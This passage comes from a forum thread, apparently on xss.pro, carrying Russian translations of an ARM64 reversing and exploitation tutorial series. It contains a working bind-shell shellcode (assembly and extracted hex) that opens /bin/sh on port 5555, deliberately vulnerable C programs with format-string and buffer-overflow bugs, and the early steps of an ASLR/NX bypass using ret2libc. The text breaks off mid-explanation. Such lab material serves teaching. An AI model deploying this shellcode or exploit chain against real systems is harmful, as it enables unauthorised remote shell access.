        mov x8,#200  //syscall number for bind
        svc #0x1337

        //listen(sock,0) , x0 = sock
        mov x0,x4  //sock fd
        mov x1,#2   //backlog
        mov x8,#201 //syscall number for listen syscall
        svc #0x1337

        //accept(sock, 0, 0)
        mov x0,x4  // sock fd
        mov x1,xzr
        mov x2,xzr
        mov x8,#202 //syscall number for accept syscall
        svc #0x1337
        mov x4,x0 // saving the fd returned from the accept syscall

        // dup3(newsock_fd, 0, 0);  //dup3 standard input
        mov x8,#24     // syscall number for dup3
        svc #0x1337

        // dup3(newsock_fd, 1, 0);  //dup3 standard output
        mov x0,x4 //new file descriptor
        mov x1,#1  //standard output
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again

        //dup3(newsock_fd, 2, 0);  //dup3 standard error
        mov x0,x4
        mov x1, #2
        svc #0x1337  // x8 already contains the syscall number so we don't need to assign it again

        adr x0,shell   // first argument to execve
        mov x1,xzr     // second argument to execve, third argunment is in x2. x2 is already 0.
        mov x8,#221   // syscall numberto execve
        svc #0x1337   // syscall


.section .data
        sockadr:
        .byte   0x02, 0x00 // AF_INET   : 2 bytes
        .byte   0x15, 0xb3 // sin_port  : 5555 : 2 bytes
        .word   0x00000000 // ip address: 0.0.0.0 : 4 byte

        shell:
        .ascii  "/bin/sh\0"

Выполним ассемблирование и связывание программы.

shellcode-17.png


А сейчас, давайте попробуем ее запустить и проверим работает ли она.

shellcode-18.png


shellcode-19.png


Наша программа, написанная на ассемблере – работает, как задумано!

А теперь, давайте извлечем шеллкод, с помощью вот этого регулярного выражения:

Bash:
echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""

shellcode-20.png


И наконец, наш шеллкод:

Bash:
"\xd2\x80\x00\x40\xd2\x80\x00\x21\xaa\x1f\x03\xe2\xd2\x80\x18\xc8\xd4\x02\x66\xe1\xaa\x00\x03\xe4\x10\x08\x03\x41\xd2\x80\x02\x02\xd2\x80\x19\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd2\x80\x19\x28\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x19\x48\xd4\x02\x66\xe1\xaa\x00\x03\xe4\xd2\x80\x03\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x21\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd4\x02\x66\xe1\x10\x08\x00\xc0\xaa\x1f\x03\xe1\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"

Ссылки
  1. https://www.unix.com/man-page/freebsd/3/dup3/
  2. https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/
  3. https://azeria-labs.com/writing-arm-shellcode/
 
Последнее редактирование:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 6 – эксплуатация уязвимости неинициализированных переменных в стеке
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/
Автор статьи 8ksecresearch.
Автор перевода handersen.


Всем привет, в этой статье мы рассмотрим неинициализированные переменные в стеке у ARM64. Мы рассмотрим, какие угрозы несут эти переменные и как они могут повлиять на безопасность программного обеспечения.

Необходимый уровень подготовки.
  • Знание инструкций ассемблера ARM64.
  • Настроенное окружение ARM64 с gef (https://hugsy.github.io/gef/).
  • Способность читать и понимать код на языке C.
Если вы во всем этом новичок, советуем полистать статьи нашей серии по эксплуатации ARM64.
  1. ARM64 реверсинг и эксплуатация часть 0x1
  2. ARM64 реверсинг и эксплуатация часть 0x2
  3. ARM64 реверсинг и эксплуатация часть 0x3
  4. ARM64 реверсинг и эксплуатация часть 0x4
  5. ARM64 реверсинг и эксплуатация часть 0x5
Настройка лаборатории

Вы можете использовать окружение по своему выбору. Однако, если вы новичок и хотите в точности повторить наши шаги, используйте для эмуляции образы QEMU:
Неинициализированные переменные

Итак, что же такое неинициализированные переменные?

Неинициализированные переменные, это переменные, которые были объявлены, однако им не было присвоено никакого значения. Рассмотрим это на примере.

C:
#include <stdio.h>

void main(){

int a;
int b;

printf("%d %d\n",a,b);

}

Скомпилируем эту программу с помощью gcc.

Bash:
gcc uni.c -o uni

Если вы выполните этот бинарник, какие значения могли бы быть напечатаны? Давайте посмотрим.

1.png


Значения равны 0 и 32. Откуда же эти переменные получили значения равные 0 и 32, ведь мы не присваивали им никаких значений?

Если мы не присваиваем или не инициализируем переменные каким-либо значением, они будут содержать непредсказуемые значения или "мусор", оставшийся в той области памяти, которая теперь выделена для наших переменных. Значения a и b, будут зависеть от состояния памяти во время выполнения и могут отличаться при каждом запуске программы.

А значит, следующим вопросом будет: а как превратить это в уязвимость?

Неинициализированные переменные в стеке, не всегда становятся уязвимостями, однако случаи, в которых они превращаются в уязвимости компьютерных программ – существуют. Это происходит из-за того, что они могут содержать произвольные значения, оставшиеся в памяти от выполнения предыдущих программ или других частей приложения. Подобные ситуации могут приводить к неожиданному поведению или проблемам безопасности, если неинициализированные переменные используются в критических участках кода или в операциях с повышенными требованиями к безопасности.

Примеры того, как неинициализированные переменные в стеке, могут превратиться в уязвимости, включают:
  • Утечка данных: если неинициализированные переменные используются для хранения секретных данных, вроде паролей, ключей шифрования или персональных данных, условный злоумышленник имеет потенциальную возможность получить доступ и прочесть эти данные, задействовав уязвимость неинициализированной переменной.
  • Раскрытие информации: содержимое неинициализированных переменных, может включать информацию о карте памяти программы, адресах в стеке, которую злоумышленник может применить для создания эксплоитов для конкретного ПО.
  • Сбои и нестабильность работы: применение неинициализированных переменных в расчетах или управлении структурой, может привести к неопределенному поведению, стать причиной программных сбоев или неожиданных результатов работы приложения.
  • Выполнение произвольного кода: в некоторых случаях, злоумышленник может оказаться способным манипулировать неинициализированными переменными таким образом, что сможет управлять ходом выполнения программы, доведя до выполнения произвольного кода (ACE) и возможно удаленного выполнения кода (RCE).

Стековые кадры

Мы сейчас же рассмотрим более реалистичный пример. Однако перед этим, разберем программу на C, приведенную ниже:

C:
#include <stdio.h>
#include <stdlib.h>

int *add(int* a,int* b){

int c;
c= (*a) + (*b);
return &c;

}

void main(){
int num1 = 1;
int num2 = 2;
int* result = add(&num1,&num2);
printf("The result of addition : %d",*result);


}

Скомпилируем ее с помощью gcc.

Bash:
gcc uni2.c -o uni2

И попробуем ее запустить.

p6.png


Как мы видим, программа завершилась аварийно. Что могло оказаться причиной этого?

Программа аварийно завершилась потому, что функция add возвращает адрес переменной c, которая размещена в стеке. Когда происходит возврат из функции add, память выделенная для переменной c оказывается освобождена, в результате чего адрес переменной c становится недействительным и указатель result функции main будет указывать на неверную область памяти.

Из-за некорректного доступа к памяти, когда выражение printf в функции main пытается разыменовать указатель result для вывода значения, это приводит к ошибке сегментации (аварийному завершению).

Давайте посмотрим в отладчике, что же произошло.

Загрузите исполняемый файл в gdb.

Bash:
debian@debian:~/pwn/uni_stack$ gdb ./uni2

Поставьте точку останова на функции main.

Bash:
gef➤ b main

Запустите программу с помощью команды r.

Bash:
gef➤ r

Давайте поставим точку останова на инструкции, которая вызывает функцию add.

2.png


Нажмите c, чтобы продолжить выполнение программы, пока оно не прервется в точке останова.

3.png


Выполнение программы дошло до функции add. Мы видим, что регистры x0 и x1, содержат значения 1 и 2, которые являются аргументами функции add.

Давайте выполним "Шаг с заходом" в функцию add(), с помощью команды si.

4.png


Сейчас мы внутри функции add().

Первая инструкция sub sp, sp, #0x20, выделит адресное пространство для функции add(). Это адресное пространство известно, как стековый кадр. Оно обычно включает аргументы функции, локальные переменные и другую информацию, нужную функции в процессе ее выполнения.

Давайте посмотрим на упрощенную диаграмму, изображающую кадр стека.

6.png


После прохода инструкции sub sp, sp, #0x20 мы видим, что адрес вершины стека изменился.

7.png


Теперь sp указывает на 0x0000fffffffff330, а до этого он указывал на 0x0000fffffffff350.

Давайте сделаем “Шаг с обходом“, с помощью команды ni. Инструкции выше, выделят адресное пространство в стеке и загрузят значения из регистров x0 и x1 в w0 и w1, сложат их (1 и 2) и сохранят результат в регистр w0.

5(8).png


Инструкция str w0, [sp, #28] сохранит значение из w0 (w1 + w0 = 3) в [sp + 28].

Код:
mov x0, #0x0

Копирует значение 0 в регистр x0. Как нам известно, возвращаемое функцией значение, обычно сохраняется в регистр x0. В нашем исходном коде, мы возвращаем адрес локальной переменной c. Однако в дизассемблированом коде мы видим, что x0 заполняется значением 0.

Код:
add sp, sp,#0x20

Инкрементирует указатель на стек, чтобы освободить адресное пространство выделенное для функции add() и sp будет указывать на 0x0000fffffffff350, который был вершиной стека до вызова функции add(). Стековый кадр функции add(), в настоящее время уничтожен. Теперь стек будет выглядеть, как на рисунке показанном ниже.

8.png


Когда выполнится инструкция ret, программа вернется в функцию main.

9.png


Теперь мы вернулись обратно в функцию main.

Давайте выполним оставшиеся в ней инструкции.

10.png


str x0, [sp, #24] сохранит значение x0 в [sp + 24]. Если мы посмотрим в x0, то сейчас в нем сохранено значение 0.

Давайте сделаем “Шаг с обходом“ этой инструкции, с помощью команды ni и проверим этот адрес.

11.png


Как и ожидалось, по нему содержится 0.

Далее инструкция ldr x0,[sp, #24], загрузит это значение обратно в x0. Таким образом x0, станет равным нулю.

Следующая инструкция ldr w0, [x0] – “уронит“ приложение. Инструкция ldr будет пытаться загрузить значение, на которое указывает адрес, находящийся в регистре x0 в w0. Однако x0 – то содержит 0, который не является корректным адресом памяти, в результате произойдет аварийное завершение работы программы.

12.png


Теперь мы имеем исчерпывающее представление о стековых кадрах и причине “падения“ программы.

Давайте рассмотрим более реалистичный пример.

Пример программы

Рассмотрим приведенную ниже программу на языке C.

C:
#include <stdio.h>

void one()
{
int x = 200;
int y = 300;
int z = 400;
printf("Inside Function one() .The value of x is %d, y is %d and z is %d \n",x,y,z);
}

void two()
{
int a;
int b;
printf("Inside Function two() .The value of a is %d and b is %d \n",a,b);
}

void three()
{
int n1 = 1;
int n2 = 2;
int n3;
printf("Inside Function three() .The value of n1 is %d , n2 is %d and n3 is %d \n",n1,n2,n3);
}

void main()
{
one();
two();
three();
}

Давайте по быстрому проанализируем код.

В программе есть три определенные пользователем функции, названные по порядку.
  • one()
  • two()
  • three()
У функции one(), есть три локальных переменных – x, y и z. Им присвоены различные значения. У функции two(), есть две локальных переменных, но им не присвоено никаких значений. И наконец у функции three(), есть три локальных переменных, при этом только двум из них присвоены значения. Значения всех локальных переменных, во всех функциях – выводятся на экран.

Давайте скомпилируем этот код с помощью gcc.

Bash:
gcc uni4.c -o uni4

Теперь, попробуем запустить программу и посмотрим, что произойдет.

13.png


В выводе показаны значения для каждой функции. У функции one() x, y и z присвоены значения 200, 300 и 400 соответственно. Эти значения напечатаны, в качестве выходных. Однако у функции two(), значения локальных переменных a и b показаны в выводе, как 200 и 300, хотя им не было присвоено никаких значений. Почему это произошло? Если вы хорошо разобрались в стековых кадрах, возможно у вас уже готов ответ. Если это не так, не переживайте – сейчас разберемся вместе.

Давайте приступим к анализу кадров стека каждой из функций.

Когда мы находимся внутри функции one(), стек будет выглядеть примерно так:

14.png


Как вы можете видеть выше на нашей схеме стека:
  • x сохранен по адресу 1028.
  • y сохранен по адресу 1024.
  • z сохранен по адресу 1020.
(Примечание: это не настоящие адреса )

Когда программа заканчивает выполнение функции one(), sp (указатель на вершину стека) обновляется до позиции, которую он занимал перед вызовом функции one() и стековый кадр сбрасывается.

*прим. переводчика – сброс стекового кадра, означает освобождение адресного пространства для дальнейшего использования.

Таким образом, стек станет выглядеть вот так:

15.png


Как мы можем сейчас видеть, sp (указатель на вершину стека) получил новое значение. Однако, если мы посмотрим на стек, то увидим, что значения локальных переменных, которые находились в предыдущем кадре стека, выделенном для функции one() – никуда не делись!

Давайте посмотрим, что произошло после того, как создан стековый кадр для функции two().

16.png


Мы можем видеть, что та же самая область памяти, которая использовалась для создания стекового кадра функции one(), была повторно использована для создания стекового кадра функции two(). Из-за этого, локальные переменные из предыдущего кадра стека, все еще существуют в стековом кадре функции two(). Перезапишутся ли эти переменные или нет, зависит от различных факторов, таких как состояние системы, программы, операционной системы и т. д. *прим. переводчика - и раздолбайства программиста :)

Конкретно в этом случае, переменные не перезаписались. Анализируя исходный код функции two(), мы выяснили, что две переменные были объявлены, но остались без значений. Однако, рассматривая схему стека, мы обратили внимание, что они размещены в памяти по тем же адресам, которые использовались локальными переменными созданными в предыдущем кадре стека (функция one()). Здесь в функции one(), переменные x и y были размещены по адресам 1028 и 1024 соответственно и им были присвоены значения 200 и 300. В стековом кадре функции two(), переменные a и b были размещены по тем же адресам (1028 и 1024), в результате в переменных a и b сохранились значения 200 и 300, вместо случайного содержимого или "мусора", который мы видели в первом примере программы в начале статьи. Вот почему в выходных данных программы, напечаталось 200 и 300, в качестве значений a и b.

Теперь посмотрим, что произойдет внутри стекового кадра функции three(). Давайте посмотрим на схему стека.

17.png


По аналогии с предыдущими, стековый кадр функции three(), размещен по тому же адресу, что и кадры функций one() и two(). Так же, как и до этого – переменные размещены в тех же самых областях памяти. В функции three(), есть три локальных переменных, двум из них (n1 и n2) – присвоены значения 1 и 2 соответственно и выделены области памяти по адресам 1028 и 1024, содержавшие значения 200 and 300. Значит переменные n1 и n2, перезаписали предыдущие значения, которые находились в этих областях. Однако переменной n3, никакого значения присвоено не было, а значит она будет указывать на область памяти с адресом 1020, которая соответствует области, ранее выделенной переменной z из функции one(). В результате n3, будет содержать значение 400.

Мы также попытаемся запустить отладку исполняемого файла, чтобы увидеть это. Действительно, давайте попробуем.

Загрузим бинарник в gdb.

Bash:
debian@debian:~/pwn/uni_stack$ gdb ./uni4

Давайте попытаемся дизассемблировать все три функции.

18.png


Как мы видим, каждой функции выделяется одинаковый объем памяти.

stp x29, x30, [sp, #-32]!

Заглянем в дизассемблированную функцию one().

p32.png


Эти инструкции сохраняют локальные переменные x, y и z в соответствующих областях стека.

Давайте посмотрим, где окажется сохранено значение 200.

Поставим точку останова на функции main и запустим программу.

Bash:
gef➤ b main
Breakpoint 1 at 0x804
gef➤ r

19.png


Выполнение программы прервалось в точке останова, на инструкции вызова функции one(). Давайте выполнять "Шаг с заходом" с помощью команды si до тех пор, пока не встретится первая инструкция str.

20.png


Если мы проверим регистр w0 – он будет содержать значение 200.

Bash:
gef➤  print  $w0
$1 = 0xc8
gef➤

0xc8 это 200 в десятичной системе счисления. Теперь, если мы сделаем "Шаг с обходом", это значение будет сохранено в [sp + 28]. Давайте проверим и рассмотрим эту область памяти.

Bash:
gef➤  x/gx $sp+28
0xfffffffff35c: 0xfffff3700000ffff
gef➤

Теперь, выполним "Шаг с обходом" используя инструкцию ni и проверим эту область памяти еще раз.

Bash:
gef➤  x/gx $sp+28
0xfffffffff35c: 0xfffff370000000c8

Мы можем видеть, что наше значение 0xc8, присутствует по адресу 0xfffffffff35c.

Теперь, давайте используя "Шаг с обходом" посмотрим, где расположены остальные (300, 400) значения.

p39.png


В сухом остатке:
  • 0xfffffffff35c содержит 200.
  • 0xfffffffff358 содержит 300.
  • 0xfffffffff354 содержит 400.
Теперь, давайте поставим точку останова на функции two().

Bash:
gef➤  b two
Breakpoint 2 at 0xaaaaaaaa07a0
gef➤

Продолжим выполнение программы командой c.

21.png


Мы встали на нашей точке останова. Инструкция ldr, загрузит два значения из [sp + 24] и [sp + 28] в регистры w2 и w1. Давайте рассмотрим эти области памяти и значения в них.

p42.png

  • 0xfffffffff35c содержит 200.
  • 0xfffffffff358 содержит 300.
Мы можем видеть, что это ровно те же адреса, которые мы видели выше для хранения локальных переменных функции one() и соответствующие значения – до сих пор там. Инструкция ldr загружает эти значения в регистры w2 и w1 для использования в функции printf(). То же самое можно наблюдать для функции three(), но два значения будут перезаписаны.

Посмотрим и на это тоже. Ставьте точку останова на функции three() и продолжите выполнение командой c.

p43.png


22.png


Инструкция mov, копирует 0 в регистр w0, а инструкция str – сохранит значение в [sp + 28]. Давайте проверим эту область памяти, перед выполнением "Шага с обходом".

p45.png


Это предсказуемо тот же адрес, что мы видели выше и он содержит значение 200 (0xc8). Теперь сделаем "Шаг с обходом" инструкции str и посмотрим еще раз.

23.png


Теперь адрес 0xfffffffff35c оказался переписан 1. Если мы сделаем еще один "Шаг с обходом", то значение 300, будет так же перезаписано уже значением 2.

24.png


Как и ожидалось область памяти по адресу 0xfffffffff358 переписана значением 2. Однако область стека [sp + 20], перезаписана не была, а значит ее предыдущее значение, равное 400 не изменится.

Давайте убедимся, что это так.

26.jpg


Как и ожидалось, [sp + 20] содержит 400. Оставшиеся инструкции ldr, загрузят значения из соответствующих областей стека в регистры w3, w2 и w1 в качестве аргументов для функции printf().

Давайте просто продолжим выполнение программы командой c и выйдем из нее.

26.png


Выводы

В этой статье мы рассмотрели неинициализированные переменные в стеке и их возможное воздействие на безопасность программного обеспечения. Мы изучили пример программы, которая иллюстрирует, как может произойти утечка данных. Сами по себе, эти уязвимости не влекут значительных последствий, но в сочетании с другими уязвимостями они могут послужить причиной гораздо более серьезных проблем.
 
Последнее редактирование:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 7 – обход ASLR и NX
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-7-bypassing-aslr-and-nx/
Автор статьи 8ksecresearch.
Автор перевода handersen.


Вступление

Всем привет! В этой статье мы погрузимся в задачу обхода ASLR и NX изучая простой бинарник, который содержит и уязвимость форматной строки, и уязвимость переполнения буфера. Однако перед тем, как мы погрузимся в детали, есть несколько тем, по которым необходимо подготовиться.
  • Знание инструкций ассемблера ARM64.
  • Знание процесса эксплуатации переполнения буфера в стеке.
  • Основы ROP цепочек для ARM64.
  • Настроенное окружение ARM64 с gef (https://hugsy.github.io/gef/) и gdb.
  • Способность читать и понимать код на языке C.
Если вы во всем этом новичок, советуем изучить нашу серию по эксплуатации ARM64.
  1. ARM64 реверсинг и эксплуатация часть 0x1
  2. ARM64 реверсинг и эксплуатация часть 0x2
  3. ARM64 реверсинг и эксплуатация часть 0x3
  4. ARM64 реверсинг и эксплуатация часть 0x4
  5. ARM64 реверсинг и эксплуатация часть 0x5
  6. ARM64 реверсинг и эксплуатация часть 0x6
Рандомизация размещения адресного пространства - Address Space Layout Randomization (ASLR)

Первый вопрос здесь, "Что такое ASLR?" В начале каждого раздела мы рекомендуем вам отключить ASLR. Итак, для чего же мы это делаем?

ASLR или Рандомизация Размещения Адресного Пространства, это техника применяемая для защиты компьютерных систем от различных видов атак, в особенности нацеленных на уязвимости связанные с памятью. ASLR случайным образом распределяет в оперативной памяти адреса, по которым размещаются важные компоненты операционной системы, библиотеки и исполняемый код. Это затрудняет атакующим возможность предугадать ожидаемое размещение этих компонентов в памяти, что значительно усложняет эксплуатацию уязвимостей связанных с памятью. Например, при каждом запуске программы, адреса размещения в памяти различных ее компонентов – всегда будут разными.

Мы можем узнать включен ASLR или нет, проверив значение /proc/sys/kernel/randomize_va_space. Давайте попробуем.

Bash:
root@debian:/home/debian# cat  /proc/sys/kernel/randomize_va_space
2

Значение 2, говорит о том, что для ASLR включена полная рандомизация. При этом все сегменты памяти приложения, получают случайные адреса. Не только стек, но и остальные сегменты памяти, такие как разделяемые библиотеки, куча, память управляемая brk() и другие области проецируемые в память - получают случайные адреса при каждом запуске программы.

С другой стороны, если значение равно 1, адреса стека, кучи и разделяемых библиотек, отображенные в память - получат случайные адреса. Это называется частичная рандомизация.

Для отключения ASLR, вы можете просто записать 0 в файл /proc/sys/kernel/randomize_va_space. Перед тем как это делать, убедитесь, что вошли в систему, под пользователем root.

Bash:
root@debian:/home/debian# echo 0 >  /proc/sys/kernel/randomize_va_space
root@debian:/home/debian# cat  /proc/sys/kernel/randomize_va_space
0
root@debian:/home/debian#

Давайте разберем пример программы, показанной ниже.

C:
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>

// variable located in data segment
int var_data_segment;

void main()
{
    // address of main
    printf("&main = %p\n", main);

    // stack variable
    int var_stack;
    printf("&var_stack = %p\n", &var_stack);

    printf("&var_data_segment = %p\n", &var_data_segment);

    // heap variable
    void *var_heap = (int*) malloc(1024);
    printf("&var_heap = %p\n", &var_heap);

    // address of malloc in libc
    printf("&malloc=%p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "malloc"));

    // address of brk
    printf("&brk=%p\n",  sbrk(0));
}

Эта программа будет выводить адреса функции main, стека, кучи, функции malloc и системного вызова brk.

Скомпилируем и запустим ее, после отключения ASLR.

Bash:
debian@debian:~/pwn/ASLR$ gcc aslr.c -o aslr

Bash:
root@debian:/home/debian# echo 0 > /proc/sys/kernel/randomize_va_space

Давайте попытаемся ее запустить.

ASLR отключено

1-1.png


Как мы видим, все адреса при обоих запусках одинаковые. Они будут теми же, даже если мы запустим программу х–надцать раз.

Давайте включим ASLR.

ASLR включено

Для этого, мы запишем значение 2.

Bash:
root@debian:/home/debian# echo 2 >  /proc/sys/kernel/randomize_va_space

Давайте снова запустим исполняемый файл.

2-1.png


Как мы видим, все адреса получили случайные значения. Эффект PIE (Позиционно Независимое Выполнение), также присутствует.

Уязвимость форматной строки

Теперь, когда мы имеем хорошее представление об ASLR, давайте рассмотрим форматные строки. Все мы прекрасно знакомы с функцией printf(), так ведь? Давайте взглянем на простейшую программу на языке C.

C:
#include <stdio.h>

void main(){
int a =10;
printf("%d\n",a);

}

Скомпилируем и запустим эту программу.

Bash:
debian@debian:~/pwn/ASLR$ gcc printf.c -o printf
debian@debian:~/pwn/ASLR$ ./printf
10

Как и ожидалось, программа напечатала 10.

Давайте слегка отредактируем программу.

C:
#include <stdio.h>

void main(){

int a =10;
printf("%d %d\n",a);

}

Я добавил кое-какой дополнительный спецификатор формата. Давайте попытаемся снова скомпилировать и запустить программу.

Bash:
debian@debian:~/pwn/ASLR$ gcc printf.c -o printf

Bash:
debian@debian:~/pwn/ASLR$ ./printf
10 -948628584

Мы получили случайное значение?

Давайте отладим эту программу с помощью gdb.

Bash:
debian@debian:~/pwn/ASLR$ gdb ./printf

Дизассемблируем функцию main.

3-1.png


Давайте поставим точку останова на функции main и запустим программу.

p16.png


После срабатывания точки останова, поставим бряк на функции printf().

4-1.png


Давайте продолжим выполнение с помощью команды c.

5-1.png


Вот и сработала точка останова.

В данном случае у функции printf(), первым аргументом будет указатель на форматную строку. Этот указатель будет сохранен в регистре x0, в то время как оставшиеся аргументы, представленные явно заданными значениями, разместятся в других регистрах.

В этой программе, у нас два спецификатора формата, что подразумевает передачу в функцию printf() двух реальных значений, кроме самой форматной строки. Давайте, для лучшего понимания - проверим, что в регистрах.

p19.png

  • x0: содержит указатель на форматную строку.
  • x1: содержит значение 0xa.
  • x2: содержит значение 0xfffffffff4f8.
Продолжим выполнение программы.

Выдача оказалась,

p20.png


где 10 получено из регистра x1, а -2824 из регистра x2. Значение -2824, является отрицательным числом. Используя дополнительный код (метод поразрядного дополнения до двух), мы получим значение 0xf4f8.

Можете использовать этот калькулятор, для преобразования: https://www.allmath.com/ru/twos-complement.php

*прим. переводчика – кратко про метод поразрядного дополнения: https://studopedia.ru/5_113792_tselie-dvoichnie-chisla-s-proizvolnim-znakom.html

Итак, что же произойдет, если мы добавим в функцию printf(), еще спецификаторов формата, не указывая соответствующих им значений?

Проведем эксперимент, еще на одном примере.

C:
#include <stdio.h>

void main(){

char buf[10];
gets(buf);
printf(buf);


}

В этой программе мы не стали указывать для строки, никаких спецификаторов формата явным образом. Тем не менее даже без их указания, программа выведет символы, содержавшиеся в буфере.

Давайте скомпилируем код с помощью gcc и запустим программу.

Bash:
debian@debian:~/pwn/ASLR$ gcc print2.c -o print2
debian@debian:~/pwn/ASLR$ ./print2
Hello
Hellodebian@debian:~/pwn/ASLR$

Программа работает, как надо. Давайте несколько изменим входные данные.

Bash:
Hellodebian@debian:~/pwn/ASLR$ ./print2
Hello %d %d %d
Hello 1 -72539512 -1414395600debian@debian:~/pwn/ASLR$

Как вы можете сейчас видеть, мы включили во входные данные спецификаторы формата и получили на выходе несколько странные десятичные значения. Мы здесь подали на вход программы три спецификатора формата. Так как, мы использовали %d, в качестве спецификаторов – на экране будут напечатаны три десятичных значения. Мы уже знаем, что значения, которые будут здесь напечатаны, поступают из регистров, потому что у ARM64 первые 8 аргументов функции, передаются через регистры x0 ... x7. Если мы добавим еще один спецификатор %d, будет выведено еще и содержимое регистра x3. Так, а что произойдет, если мы добавим более 7 спецификаторов формата? Давайте на это посмотрим.

Загрузим бинарник в gdb и поставим точку останова на функции printf() после того, как все данные загрузятся.

6-1.png


Продолжим выполнение с помощью команды c.

Сейчас программа, будет ожидать ввода данных. Давайте введем восемь спецификаторов формата. В этот раз, мы используем спецификатор %x, который будет выводить значения в шестнадцатеричном виде.

p25.png


7-1.png


Теперь регистр x0, указывает на форматную строку, состоящую из восьми %x. Запишите значения в регистрах и значения от самой вершины стека.

Давайте продолжим и посмотрим, что произойдет.

8-1.png


Так как мы указывали восемь спецификаторов формата, на экран вывелось восемь шестнадцатеричных значений.

Первые семь значений, получены из регистров x1 ... x7.

9-1.png


Это значения в регистрах, которые мы записали, как раз перед выполнением инструкций функции printf(). Отметим, что значения находящиеся в регистрах, не были напечатаны целиком, т. к. при использовании спецификаторов вроде %x или %d, мы можем отобразить значения, не длиннее 4 байтов. Однако регистры имеют размерность в 64 бита. Следовательно, чтобы напечатать полное значение, сохраненное в регистрах – нам нужно использовать %llx (hex) или %lld (dec) в качестве спецификаторов формата. %llx сможет вывести 64-битные значения полностью.

Итак, а что здесь с восьмым значением?

Давайте посмотрим на вершину стека, который мы записали, как раз перед выполнением инструкций функции printf().

10-1.png


Значение на вершине стека, совпадает со значением, которое засветилось в выходных данных программы. Из этого следует, что восьмое значение – единственное, размещенное на вершине стека. Логично предположить, что передав в функцию больше спецификаторов формата – мы сможем раскрыть больше значений из стека. Раскрытые таким образом значения, могут включать адреса различных библиотек, стека, кучи или другую секретную информацию. Этот тип уязвимости наиболее известен, как Уязвимость Форматной Строки. Входные данные следует всегда тщательно проверять, очищать и экранировать перед использованием в форматной строке, во избежание подобных уязвимостей. Применив эту уязвимость, мы можем гораздо больше, чем просто прочитать значения, но это выходит за рамки статьи. Мы будем использовать уязвимость форматной строки для раскрытия адресов в стеке, связанных с библиотекой libc. Мы обсудим это в следующем разделе.

Уязвимый исполняемый файл

Рассмотрим программу на языке C, показанную ниже.

C:
#include <stdio.h>

void echo()
{
    char buf[64];
    printf("\nEnter something to test\n:>");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);   //Format string vulnerability
    printf("\nEnter the input >");
    gets(buf); //Buffer overflow
}

void main()
{
    setbuf(stdout, NULL);
    echo();
}

Эта программа на C имеет две уязвимости безопасности: уязвимость переполнения буфера и уязвимость форматной строки.

C:
fgets(buf, sizeof(buf), stdin);
printf(buf);   // Format string vulnerability
  • Строка fgets(buf, sizeof(buf), stdin); получает пользовательский ввод и кладет его в контейнер, под названием buf.
  • Затем в строке printf(buf); содержимое buf используется непосредственно в функции printf() без какого-либо форматирования. Это порождает уязвимость форматной строки.
  • В конце функции echo(), в программе применяется функция gets() для записи данных в буфер. Так как используется gets(), мы можем воспользоваться ей, чтобы набить буфер и привести к его переполнению.
Давайте скомпилируем программу и проверим "упадет" ли она.

Мы включим NX, а "стековых канареек" – отключим.

Bash:
debian@debian:~/pwn/ASLR$ gcc bof.c -fno-stack-protector -o bof

11-1.png


Как и ожидалось, программа завершилась аварийно.

Давайте поищем смещение во входных данных, которое перезаписало pc (Program Counter).

Для этого мы используем такой инструмент: https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Давайте загрузим программу в gdb и введем наш шаблон.

Bash:
debian@debian:~/pwn/ASLR$ gdb ./bof

12-1.png


13-1.png


14-1.jpg



Итак, мы нашли смещение равное 72.

Утечка информации о Libc

Теперь, в общем мы знаем смещение, однако у исполняемого файла включен NX, а также активен ASLR.

Мы эксплуатируем уязвимость форматной строки для извлечения адресов из стека. Значит главный вопрос на данном этапе, это какой адрес нам нужно вытащить и почему именно его?

Нам надо попытаться заполучить какой-нибудь адрес из области размещения libc, потому что наша цель, провести атаку ret2libc применяя ROP-гаджеты. Далее мы изучим эту атаку по подробнее. Чтобы произвести такую атаку, нам требуется адрес функции system(), а заодно и адреса ROP-гаджетов. Гаджеты, которые мы собираемся использовать, обращаются к библиотеке libc. Функция system(), аналогичным образом присутствует в библиотеке libc. Следовательно, нам нужны их адреса. К сожалению из-за того, что включен ASLR эти адреса будут меняться при каждом перезапуске исполняемого файла. В результате, мы не сможем жестко закодировать адреса, как мы это делали ранее.

Если мы получим, какой-нибудь адрес libc, нам понадобится рассчитать адрес загрузки библиотеки libc, который основывается на ее же базовом адресе. Этот расчет поможет нам в поиске system() и ROP-гаджетов.

*прим. переводчика - адрес загрузки, это адрес в области памяти выделенной процессу по которому загружается компонент, в данном случае libc. базовый адрес – это image base, предпочтительный адрес загрузки, его можно посмотреть дизассемблировав загружаемый файл.

Давайте выполним пример, демонстрирующий в чем состоит смысл этого расчета.

Взглянем на простейший сценарий для двоичного файла, при включенном ASLR: адрес загрузки libc, установлен равным 1000, а функция system() располагается по адресу 1024 внутри libc.

15-1.png


Вычитая адрес загрузки libc из адреса функции system, мы приходим к значению 24. Убедитесь, что записали этот результат.

Теперь представим себе ситуацию, в которой мы снова перезапустили этот исполняемый файл. Адреса изменятся из-за ASLR.

16-2.png


